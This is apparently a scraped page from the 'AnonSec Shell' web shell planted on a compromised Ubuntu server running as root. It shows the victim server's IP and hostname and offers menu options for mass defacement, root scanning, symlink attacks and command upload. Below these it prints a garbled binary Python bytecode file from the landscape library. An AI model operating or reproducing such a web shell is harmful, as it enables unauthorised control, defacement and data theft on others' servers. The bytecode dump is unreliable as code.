AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/landscape/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/landscape/lib/__pycache__/store.cpython-310.pyc
o

���c��@s<dZzddlZWneyddlmZYnwdd�ZdS)z+Functions used by all sqlite-backed stores.�N)�dbapi2cs�fdd�}|S)a�Decorator that encloses the method in a database transaction.

    Even though SQLite is supposed to be useful in autocommit mode, we've
    found cases where the database continued to be locked for writing
    until the cursor was closed.  With this in mind, instead of using
    the autocommit mode, we explicitly terminate transactions and enforce
    cursor closing with this decorator.
    cs�|jst�|j�|_|��z%|j��}z�||g|�Ri|��}W|��n|��w|j��W|Sty@|j�	��w)N)
�_db�sqlite3�connect�	_filename�_ensure_schema�cursor�close�commit�
BaseException�rollback)�self�args�kwargsr�result��method��5/usr/lib/python3/dist-packages/landscape/lib/store.py�inners
�
�zwith_cursor.<locals>.innerr)rrrrr�with_cursor	s
r)�__doc__r�ImportError�	pysqlite2rrrrrr�<module>s�

Anon7 - 2022
AnonSec Team